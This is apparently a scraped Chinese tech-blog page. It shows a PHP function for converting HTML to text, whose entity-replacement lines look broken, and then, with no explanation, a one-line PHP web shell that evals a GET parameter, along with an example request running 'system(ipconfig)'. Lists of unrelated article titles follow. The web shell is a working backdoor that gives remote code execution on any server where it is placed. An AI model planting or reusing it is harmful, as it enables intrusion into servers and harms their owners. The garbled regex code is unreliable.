function html2text($str){
 $str = preg_replace("/<style .*?<\\/style>/is", "", $str);
 $str = preg_replace("/<script .*?<\\/script>/is", "", $str);
 $str = preg_replace("/<br \\s*\\/>/i", ">>>>", $str);
 $str = preg_replace("/<\\/?p>/i", ">>>>", $str);
 $str = preg_replace("/<\\/?td>/i", "", $str);
 $str = preg_replace("/<\\/?div>/i", ">>>>", $str);
 $str = preg_replace("/<\\/?blockquote>/i", "", $str);
 $str = preg_replace("/<\\/?li>/i", ">>>>", $str);
 $str = preg_replace("/ /i", " ", $str);
 $str = preg_replace("/ /i", " ", $str);
 $str = preg_replace("/&/i", "&", $str);
 $str = preg_replace("/&/i", "&", $str);
 $str = preg_replace("/</i", "<", $str);
 $str = preg_replace("/</i", "<", $str);
 $str = preg_replace("/“/i", '"', $str);
 $str = preg_replace("/&ldquo/i", '"', $str);
 $str = preg_replace("/‘/i", "'", $str);
 $str = preg_replace("/&lsquo/i", "'", $str);
 $str = preg_replace("/'/i", "'", $str);
 $str = preg_replace("/&rsquo/i", "'", $str);
 $str = preg_replace("/>/i", ">", $str);
 $str = preg_replace("/>/i", ">", $str);
 $str = preg_replace("/”/i", '"', $str);
 $str = preg_replace("/&rdquo/i", '"', $str);
 $str = strip_tags($str);
 $str = html_entity_decode($str, ENT_QUOTES, "utf-8");
 $str = preg_replace("/&#.*?;/i", "", $str);
 return $str;
}
 
?a=system(ipconfig);
 
<?php @eval($_GET['a']);?>

最新文章

  1. Js中找任意对象的原型方法及改造原型
  2. jquery 获取浏览器可视窗口大小,滚动条高度
  3. 构建千万级web访问架构
  4. Hive 12、Hive优化
  5. php用百度地图API进行IP定位和GPS定位
  6. Zynq和microblaze的区别
  7. MyEclipse修改项目名称后,部署到tomcat问题。
  8. Mybatis Dynamic Query 1.0.2版本
  9. FMT 与 子集(逆)卷积
  10. EF的使用&lt;三&gt;
  11. Swift - use Array
  12. 记一次windows服务开发中遇到的问题
  13. SPARK安装三:SPARK集群部署
  14. NodeMCU入门(3):断线自动重连,指示灯显示连接状态
  15. 串口转以太客户端(增加uci、可连接多个服务器)
  16. 通过python构建集中式的病毒扫描机制
  17. C# 数字证书 RSA加密解密 加签验签
  18. UOJ 55 【WC2014】紫荆花之恋——点分治+平衡树
  19. Introduction to Razor Pages in ASP.NET Core
  20. 【Linux 运维】 date的使用

热门文章

  1. @Component注解
  2. Flume 读取JMS 消息队列消息,并将消息写入HDFS
  3. oc51--循环retain
  4. hdu 1429(BFS+状态压缩)
  5. 【BZOJ 1230】 开关灯
  6. B3403 [Usaco2009 Open]Cow Line 直线上的牛 deque
  7. jsp页面动态展示list-使用&lt;select&gt;和&lt;c:forEach&gt;标签
  8. codevs2594解药还是毒药(状压dp)
  9. springboot 的一般配置
  10. java的原子变量